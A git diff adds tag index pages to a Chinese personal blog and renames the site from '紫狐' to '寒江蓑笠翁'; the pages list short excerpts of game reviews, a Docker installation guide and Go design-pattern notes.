+ + + diff --git "a/tag/\344\275\215\350\277\220\347\256\227/index.html" "b/tag/\344\275\215\350\277\220\347\256\227/index.html" new file mode 100644 index 0000000..feb1d2f --- /dev/null +++ "b/tag/\344\275\215\350\277\220\347\256\227/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 位运算 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\345\203\217\347\264\240\351\243\216\346\240\274/index.html" "b/tag/\345\203\217\347\264\240\351\243\216\346\240\274/index.html" new file mode 100644 index 0000000..3e3ac65 --- /dev/null +++ "b/tag/\345\203\217\347\264\240\351\243\216\346\240\274/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 像素风格 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\345\205\213\350\213\217\351\262\201\351\243\216\346\240\274/index.html" "b/tag/\345\205\213\350\213\217\351\262\201\351\243\216\346\240\274/index.html" new file mode 100644 index 0000000..6c6b9fc --- /dev/null +++ "b/tag/\345\205\213\350\213\217\351\262\201\351\243\216\346\240\274/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 克苏鲁风格 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\345\205\263\347\263\273\346\225\260\346\215\256\345\272\223/index.html" "b/tag/\345\205\263\347\263\273\346\225\260\346\215\256\345\272\223/index.html" new file mode 100644 index 0000000..f6d74f3 --- /dev/null +++ "b/tag/\345\205\263\347\263\273\346\225\260\346\215\256\345\272\223/index.html" @@ -0,0 +1,54 @@ + + + + + + + + 关系数据库 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\345\206\205\345\255\230\345\210\206\346\236\220/index.html" "b/tag/\345\206\205\345\255\230\345\210\206\346\236\220/index.html" new file mode 100644 index 0000000..8f249bb --- /dev/null +++ "b/tag/\345\206\205\345\255\230\345\210\206\346\236\220/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 内存分析 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\345\206\205\345\255\230\345\274\202\345\270\270/index.html" "b/tag/\345\206\205\345\255\230\345\274\202\345\270\270/index.html" new file mode 100644 index 0000000..2dfa423 --- /dev/null +++ "b/tag/\345\206\205\345\255\230\345\274\202\345\270\270/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 内存异常 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\345\211\221\344\270\216\351\255\224\346\263\225/index.html" "b/tag/\345\211\221\344\270\216\351\255\224\346\263\225/index.html" new file mode 100644 index 0000000..fb8d3c8 --- /dev/null +++ "b/tag/\345\211\221\344\270\216\351\255\224\346\263\225/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 剑与魔法 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\345\217\227\350\213\246/index.html" "b/tag/\345\217\227\350\213\246/index.html" new file mode 100644 index 0000000..1866ee0 --- /dev/null +++ "b/tag/\345\217\227\350\213\246/index.html" @@ -0,0 +1,60 @@ + + + + + + + + 受苦 标签 | 寒江蓑笠翁 + + + + + + +
只狼:影逝二度

只狼:影逝二度

+
+

老贼非常成功的创新,游戏内容不算特别多,但胜在短小精悍。

+

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列受苦
黑暗之魂I:重制版

黑暗之魂I:重制版

+ +

开山之作,地图设计极其优秀,三部曲中氛围最好,也是最喜欢的。

+

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列受苦
+ + + diff --git "a/tag/\345\217\244\345\211\221\345\245\207\350\260\255/index.html" "b/tag/\345\217\244\345\211\221\345\245\207\350\260\255/index.html" new file mode 100644 index 0000000..41f3d1d --- /dev/null +++ "b/tag/\345\217\244\345\211\221\345\245\207\350\260\255/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 古剑奇谭 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\345\221\275\344\273\244\350\241\214/index.html" "b/tag/\345\221\275\344\273\244\350\241\214/index.html" new file mode 100644 index 0000000..79399cf --- /dev/null +++ "b/tag/\345\221\275\344\273\244\350\241\214/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 命令行 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\345\233\276\345\272\212/index.html" "b/tag/\345\233\276\345\272\212/index.html" new file mode 100644 index 0000000..21a0f2e --- /dev/null +++ "b/tag/\345\233\276\345\272\212/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 图床 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\345\244\247\347\220\206/index.html" "b/tag/\345\244\247\347\220\206/index.html" new file mode 100644 index 0000000..e36bccf --- /dev/null +++ "b/tag/\345\244\247\347\220\206/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 大理 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\345\255\227\347\254\246\351\233\206/index.html" "b/tag/\345\255\227\347\254\246\351\233\206/index.html" new file mode 100644 index 0000000..9f7287f --- /dev/null +++ "b/tag/\345\255\227\347\254\246\351\233\206/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 字符集 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\345\255\230\345\202\250\346\250\241\345\236\213/index.html" "b/tag/\345\255\230\345\202\250\346\250\241\345\236\213/index.html" new file mode 100644 index 0000000..4e300ca --- /dev/null +++ "b/tag/\345\255\230\345\202\250\346\250\241\345\236\213/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 存储模型 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\345\256\271\345\231\250/index.html" "b/tag/\345\256\271\345\231\250/index.html" new file mode 100644 index 0000000..511e144 --- /dev/null +++ "b/tag/\345\256\271\345\231\250/index.html" @@ -0,0 +1,56 @@ + + + + + + + + 容器 标签 | 寒江蓑笠翁 + + + + + + +
安装使用

安装使用

+

第一次使用电脑时,都会先学习怎么开机和关机,使用软件也一样,得先学会怎么安装和卸载,以免觉得不好用了也可以卸掉。

+

本篇的内容参考自Install Docker Engine on Ubuntu | Docker Documentation

+
+

提示

+

后续的文章都将在ubuntu22.04LTS系统基础之上进行描述。

+

寒江蓑笠翁大约 5 分钟dockercontainerdocker容器
基本介绍

基本介绍

+
+

docker是一款非常出名的项目,它是由go语言编写且完全开源。docker去掉了传统开发过程中的繁琐配置这一步,让开发者可以更加快速的构建应用。到目前为止,docker提供了桌面端,CLI命令行,SDK,以及WebApi几种方式以供开发者选用。


寒江蓑笠翁大约 3 分钟dockercontainerdocker容器
+ + + diff --git "a/tag/\345\257\271\350\261\241\345\255\230\345\202\250/index.html" "b/tag/\345\257\271\350\261\241\345\255\230\345\202\250/index.html" new file mode 100644 index 0000000..13b7350 --- /dev/null +++ "b/tag/\345\257\271\350\261\241\345\255\230\345\202\250/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 对象存储 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\345\273\272\351\200\240/index.html" "b/tag/\345\273\272\351\200\240/index.html" new file mode 100644 index 0000000..005e326 --- /dev/null +++ "b/tag/\345\273\272\351\200\240/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 建造 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\345\274\200\346\224\276\344\270\226\347\225\214/index.html" "b/tag/\345\274\200\346\224\276\344\270\226\347\225\214/index.html" new file mode 100644 index 0000000..ecd336b --- /dev/null +++ "b/tag/\345\274\200\346\224\276\344\270\226\347\225\214/index.html" @@ -0,0 +1,57 @@ + + + + + + + + 开放世界 标签 | 寒江蓑笠翁 + + + + + + +
神界原罪2

神界原罪2

+
+

一款十分精彩的RPG,不论是战斗还是剧情都很出色。

+

寒江蓑笠翁大约 12 分钟游戏杂谈CRPG魔幻开放世界
天国拯救

天国拯救

+
+

一个铁匠儿子成长为剑术大师的故事,剧情挺好,战斗太难了,为了看剧情开修改器过的。

+

寒江蓑笠翁小于 1 分钟游戏杂谈开放世界硬核
巫师三:狂猎

巫师三:狂猎

+
+

先看小说再玩游戏,我愿称之为开放世界天花板。

+

寒江蓑笠翁小于 1 分钟游戏杂谈开放世界剑与魔法探索冒险
+ + + diff --git "a/tag/\345\277\230\350\256\260\345\257\206\347\240\201/index.html" "b/tag/\345\277\230\350\256\260\345\257\206\347\240\201/index.html" new file mode 100644 index 0000000..ec46395 --- /dev/null +++ "b/tag/\345\277\230\350\256\260\345\257\206\347\240\201/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 忘记密码 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\201\220\346\200\226/index.html" "b/tag/\346\201\220\346\200\226/index.html" new file mode 100644 index 0000000..d36bc22 --- /dev/null +++ "b/tag/\346\201\220\346\200\226/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 恐怖 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\346\201\220\346\200\226\346\270\270\346\210\217/index.html" "b/tag/\346\201\220\346\200\226\346\270\270\346\210\217/index.html" new file mode 100644 index 0000000..ba4cbcb --- /dev/null +++ "b/tag/\346\201\220\346\200\226\346\270\270\346\210\217/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 恐怖游戏 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\210\267\345\244\226/index.html" "b/tag/\346\210\267\345\244\226/index.html" new file mode 100644 index 0000000..6a12510 --- /dev/null +++ "b/tag/\346\210\267\345\244\226/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 户外 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\216\242\347\264\242\345\206\222\351\231\251/index.html" "b/tag/\346\216\242\347\264\242\345\206\222\351\231\251/index.html" new file mode 100644 index 0000000..179680b --- /dev/null +++ "b/tag/\346\216\242\347\264\242\345\206\222\351\231\251/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 探索冒险 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\225\260\346\215\256\345\272\223/index.html" "b/tag/\346\225\260\346\215\256\345\272\223/index.html" new file mode 100644 index 0000000..391a149 --- /dev/null +++ "b/tag/\346\225\260\346\215\256\345\272\223/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 数据库 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\226\207\346\241\243\346\225\260\346\215\256\345\272\223/index.html" "b/tag/\346\226\207\346\241\243\346\225\260\346\215\256\345\272\223/index.html" new file mode 100644 index 0000000..df78169 --- /dev/null +++ "b/tag/\346\226\207\346\241\243\346\225\260\346\215\256\345\272\223/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 文档数据库 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\227\205\350\241\214/index.html" "b/tag/\346\227\205\350\241\214/index.html" new file mode 100644 index 0000000..b4b9914 --- /dev/null +++ "b/tag/\346\227\205\350\241\214/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 旅行 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\232\221\345\201\207/index.html" "b/tag/\346\232\221\345\201\207/index.html" new file mode 100644 index 0000000..54f9dfb --- /dev/null +++ "b/tag/\346\232\221\345\201\207/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 暑假 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\234\253\344\270\226/index.html" "b/tag/\346\234\253\344\270\226/index.html" new file mode 100644 index 0000000..8c84152 --- /dev/null +++ "b/tag/\346\234\253\344\270\226/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 末世 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\255\246\344\276\240/index.html" "b/tag/\346\255\246\344\276\240/index.html" new file mode 100644 index 0000000..75c7c2b --- /dev/null +++ "b/tag/\346\255\246\344\276\240/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 武侠 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\346\260\221\344\277\227\351\243\216\346\240\274/index.html" "b/tag/\346\260\221\344\277\227\351\243\216\346\240\274/index.html" new file mode 100644 index 0000000..5380c56 --- /dev/null +++ "b/tag/\346\260\221\344\277\227\351\243\216\346\240\274/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 民俗风格 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\346\262\231\346\273\251/index.html" "b/tag/\346\262\231\346\273\251/index.html" index be317fe..21190ec 100644 --- "a/tag/\346\262\231\346\273\251/index.html" +++ "b/tag/\346\262\231\346\273\251/index.html" @@ -5,7 +5,7 @@ - 沙滩 标签 | 紫狐 +沙滩 标签 | 寒江蓑笠翁 + + + + + +
+ + + diff --git "a/tag/\346\265\201\351\207\217\347\273\237\350\256\241/index.html" "b/tag/\346\265\201\351\207\217\347\273\237\350\256\241/index.html" new file mode 100644 index 0000000..301c097 --- /dev/null +++ "b/tag/\346\265\201\351\207\217\347\273\237\350\256\241/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 流量统计 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\346\265\267\350\276\271/index.html" "b/tag/\346\265\267\350\276\271/index.html" index 49db2fe..ff7912d 100644 --- "a/tag/\346\265\267\350\276\271/index.html" +++ "b/tag/\346\265\267\350\276\271/index.html" @@ -5,7 +5,7 @@ - 海边 标签 | 紫狐 +海边 标签 | 寒江蓑笠翁 + + + + + +
+ + + diff --git "a/tag/\347\224\237\345\255\230/index.html" "b/tag/\347\224\237\345\255\230/index.html" new file mode 100644 index 0000000..dd14068 --- /dev/null +++ "b/tag/\347\224\237\345\255\230/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 生存 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\347\224\273\351\243\216\344\274\230\347\276\216/index.html" "b/tag/\347\224\273\351\243\216\344\274\230\347\276\216/index.html" new file mode 100644 index 0000000..d219d60 --- /dev/null +++ "b/tag/\347\224\273\351\243\216\344\274\230\347\276\216/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 画风优美 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\347\237\255\345\260\217/index.html" "b/tag/\347\237\255\345\260\217/index.html" new file mode 100644 index 0000000..08cad89 --- /dev/null +++ "b/tag/\347\237\255\345\260\217/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 短小 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\347\241\254\346\240\270/index.html" "b/tag/\347\241\254\346\240\270/index.html" new file mode 100644 index 0000000..e8c335b --- /dev/null +++ "b/tag/\347\241\254\346\240\270/index.html" @@ -0,0 +1,54 @@ + + + + + + + + 硬核 标签 | 寒江蓑笠翁 + + + + + + +
僵尸毁灭工程

僵尸毁灭工程

+
+

一款十分真实的丧尸沙盒生存游戏,心中同题材下最好的游戏。

+

寒江蓑笠翁大约 17 分钟游戏杂谈生存硬核末世
天国拯救

天国拯救

+
+

一个铁匠儿子成长为剑术大师的故事,剧情挺好,战斗太难了,为了看剧情开修改器过的。

+

寒江蓑笠翁小于 1 分钟游戏杂谈开放世界硬核
+ + + diff --git "a/tag/\347\245\236\344\275\234/index.html" "b/tag/\347\245\236\344\275\234/index.html" new file mode 100644 index 0000000..2a6d684 --- /dev/null +++ "b/tag/\347\245\236\344\275\234/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 神作 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\347\253\245\345\271\264\345\233\236\345\277\206/index.html" "b/tag/\347\253\245\345\271\264\345\233\236\345\277\206/index.html" new file mode 100644 index 0000000..1def3e2 --- /dev/null +++ "b/tag/\347\253\245\345\271\264\345\233\236\345\277\206/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 童年回忆 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\347\264\242\345\274\225/index.html" "b/tag/\347\264\242\345\274\225/index.html" new file mode 100644 index 0000000..bccb281 --- /dev/null +++ "b/tag/\347\264\242\345\274\225/index.html" @@ -0,0 +1,49 @@ + + + + + + + + 索引 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\347\274\226\347\240\201/index.html" "b/tag/\347\274\226\347\240\201/index.html" new file mode 100644 index 0000000..26f80b7 --- /dev/null +++ "b/tag/\347\274\226\347\240\201/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 编码 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\350\231\232\346\213\237\346\234\272/index.html" "b/tag/\350\231\232\346\213\237\346\234\272/index.html" new file mode 100644 index 0000000..f65d641 --- /dev/null +++ "b/tag/\350\231\232\346\213\237\346\234\272/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 虚拟机 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\350\256\276\350\256\241\346\250\241\345\274\217/index.html" "b/tag/\350\256\276\350\256\241\346\250\241\345\274\217/index.html" new file mode 100644 index 0000000..f01bc4f --- /dev/null +++ "b/tag/\350\256\276\350\256\241\346\250\241\345\274\217/index.html" @@ -0,0 +1,86 @@ + + + + + + + + 设计模式 标签 | 寒江蓑笠翁 + + + + + + +
行为型模式

行为型模式

+

行为型模式用于描述程序在运行时复杂的流程控制,即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务,它涉及算法与对象间职责的分配。行为型模式分为类行为模式和对象行为模式,前者采用继承机制来在类间分派行为,后者采用组合或聚合在对象间分配行为。由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象行为模式比类行为模式具有更大的灵活性。

+

模板方法模式

+

定义一个操作中的算法骨架,而将算法的一些步骤延迟到子类中,使得子类可以不改变该算法结构的情况下重定义该算法的某些特定步骤。

+
    +
  • +

    抽象类(Abstract Class):负责给出一个算法的轮廓和骨架。它由一个模板方法和若干个基本方法构成。

    +
      +
    • 模板方法:定义了算法的骨架,按某种顺序调用其包含的基本方法。
    • +
    • 基本方法:是实现算法各个步骤的方法,是模板方法的组成部分。
    • +
    +
  • +
  • +

    具体子类(Concrete Class):实现抽象类中所定义的抽象方法和钩子方法,它们是一个顶级逻辑的组成步骤。

    +
  • +

寒江蓑笠翁大约 36 分钟设计模式设计模式go
结构型模式

结构型模式

+

结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式, 前者采用继承机制来组织接口和类,后者釆用组合或聚合来组合对象。 由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象结构型模式比类结构型 模式具有更大的灵活性。

+

代理模式

+

由于某些原因需要给某对象提供一个代理以控制对该对象的访问。这时,访问对象不适合或者不能直接引用目标对象,代理对象作为访问对象和目标对象之间的中介。

+
    +
  • +

    抽象主题(Subject)接口: 通过接口或抽象类声明真实主题和代理对象实现的业务方法。

    +
  • +
  • +

    真实主题(Real Subject)类: 实现了抽象主题中的具体业务,是代理对象所代表的真实对象,是最终要引用的对象。

    +
  • +
  • +

    代理(Proxy)类 :提供了与真实主题相同的接口,其内部含有对真实主题的引用,它可以访问,控制或扩展真实主题的功能。

    +
  • +

寒江蓑笠翁大约 24 分钟设计模式设计模式go
创建型模式

创建型模式

+

创建型模式的主要关注点是“怎样创建对象?”,它的主要特点是“将对象的创建与使用分离”。 这样可以降低系统的耦合度,使用者不需要关注对象的创建细节。

+

简单工厂模式

+

这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。在工厂模式中,我们在创建对象时不会对客户端暴露创建逻辑,并且是通过使用一个共同的接口来指向新创建的对象。

+

在Go中是没有构造函数的说法,一般会定义Newxxxx函数来初始化相关的结构体或接口,而通过Newxxx函数来初始化返回接口时就是简单工厂模式,一般对于Go而言,最推荐的做法就是简单工厂。


寒江蓑笠翁大约 17 分钟设计模式设计模式go
设计原则

设计原则

+

这六大原则是比较经典的,它们是所有设计模式的基石,也是编码的基本规范,前面讲到不要过度设计,但六大原则是一个优秀的代码应当遵守最基本的规范。

+

开闭原则

+

这是一个十分经典的原则,也是最基础的原则,就只有10个字的内容,对拓展开放,对修改关闭。一个程序应当具有相应的拓展性,假设开发了一个Go第三方依赖库,倘若调用者想要自定义功能只能去修改依赖库的源代码,但是每个人都有不同的需求,难道每个人都要改一遍源代码吗,这么做的结果显然是非常恐怖的,代码会变得异常难以维护。

+

单一职责原则


寒江蓑笠翁大约 5 分钟设计模式设计模式go
所谓模式

所谓模式

+

要说将设计模式发扬光大的语言还得是Java,虽然本质上来说,设计模式是一门语言无关的学问,但几乎所有设计模式的教学语言都是用的是Java,毫无疑问Java是使用设计模式最多的语言,因为它是一个很典型的面向对象的语言,万物皆对象,很显然设计模式就是面向对象的,这是一个优点也是一个缺点,因为有时候过度设计同样会造成难以维护的问题。设计模式起源于建筑工程行业而非计算机行业,它并不像算法一样是经过严谨缜密的逻辑推算出来的,而是经过不断的实践与测试总结出来的经验。使用设计模式是为了代码重用性更好,更容易被他人理解,以及更好维护的代码结构。


寒江蓑笠翁大约 6 分钟设计模式设计模式go
+ + + diff --git "a/tag/\350\277\220\345\212\250/index.html" "b/tag/\350\277\220\345\212\250/index.html" new file mode 100644 index 0000000..c44f97a --- /dev/null +++ "b/tag/\350\277\220\345\212\250/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 运动 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\350\277\234\347\250\213\345\274\200\345\217\221/index.html" "b/tag/\350\277\234\347\250\213\345\274\200\345\217\221/index.html" new file mode 100644 index 0000000..9d347f2 --- /dev/null +++ "b/tag/\350\277\234\347\250\213\345\274\200\345\217\221/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 远程开发 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\351\200\240\350\275\256\345\255\220/index.html" "b/tag/\351\200\240\350\275\256\345\255\220/index.html" new file mode 100644 index 0000000..ea8e145 --- /dev/null +++ "b/tag/\351\200\240\350\275\256\345\255\220/index.html" @@ -0,0 +1,50 @@ + + + + + + + + 造轮子 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\351\205\215\347\275\256\346\226\207\344\273\266/index.html" "b/tag/\351\205\215\347\275\256\346\226\207\344\273\266/index.html" new file mode 100644 index 0000000..d07cf38 --- /dev/null +++ "b/tag/\351\205\215\347\275\256\346\226\207\344\273\266/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 配置文件 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git "a/tag/\351\243\216\346\231\257/index.html" "b/tag/\351\243\216\346\231\257/index.html" new file mode 100644 index 0000000..5d03a3b --- /dev/null +++ "b/tag/\351\243\216\346\231\257/index.html" @@ -0,0 +1,54 @@ + + + + + + + + 风景 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\351\243\216\346\235\245\344\271\213\345\233\275/index.html" "b/tag/\351\243\216\346\235\245\344\271\213\345\233\275/index.html" new file mode 100644 index 0000000..d7235ca --- /dev/null +++ "b/tag/\351\243\216\346\235\245\344\271\213\345\233\275/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 风来之国 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\351\252\221\350\241\214/index.html" "b/tag/\351\252\221\350\241\214/index.html" new file mode 100644 index 0000000..ca421bb --- /dev/null +++ "b/tag/\351\252\221\350\241\214/index.html" @@ -0,0 +1,54 @@ + + + + + + + + 骑行 标签 | 寒江蓑笠翁 + + + + + + +
+ + + diff --git "a/tag/\351\255\202\347\263\273\345\210\227/index.html" "b/tag/\351\255\202\347\263\273\345\210\227/index.html" new file mode 100644 index 0000000..c008a32 --- /dev/null +++ "b/tag/\351\255\202\347\263\273\345\210\227/index.html" @@ -0,0 +1,66 @@ + + + + + + + + 魂系列 标签 | 寒江蓑笠翁 + + + + + + +
艾尔登法环

艾尔登法环

+
+

魂系列集大成之作,唯一一个全成就的游戏,首发预购的含金量

+

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列
只狼:影逝二度

只狼:影逝二度

+
+

老贼非常成功的创新,游戏内容不算特别多,但胜在短小精悍。

+

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列受苦
黑暗之魂I:重制版

黑暗之魂I:重制版

+ +

开山之作,地图设计极其优秀,三部曲中氛围最好,也是最喜欢的。

+

寒江蓑笠翁小于 1 分钟游戏杂谈魂系列受苦
血源诅咒

血源诅咒

+
+

心中永远的神作游戏,没有之一

+

寒江蓑笠翁小于 1 分钟游戏杂谈克苏鲁风格魂系列神作
+ + + diff --git "a/tag/\351\255\224\345\271\273/index.html" "b/tag/\351\255\224\345\271\273/index.html" new file mode 100644 index 0000000..0f8aa17 --- /dev/null +++ "b/tag/\351\255\224\345\271\273/index.html" @@ -0,0 +1,51 @@ + + + + + + + + 魔幻 标签 | 寒江蓑笠翁 + + + + + + + + + + diff --git a/timeline/index.html b/timeline/index.html index b48bbdf..bc2dd11 100644 --- a/timeline/index.html +++ b/timeline/index.html @@ -5,7 +5,7 @@ - 时间轴 | 紫狐 +时间轴 | 寒江蓑笠翁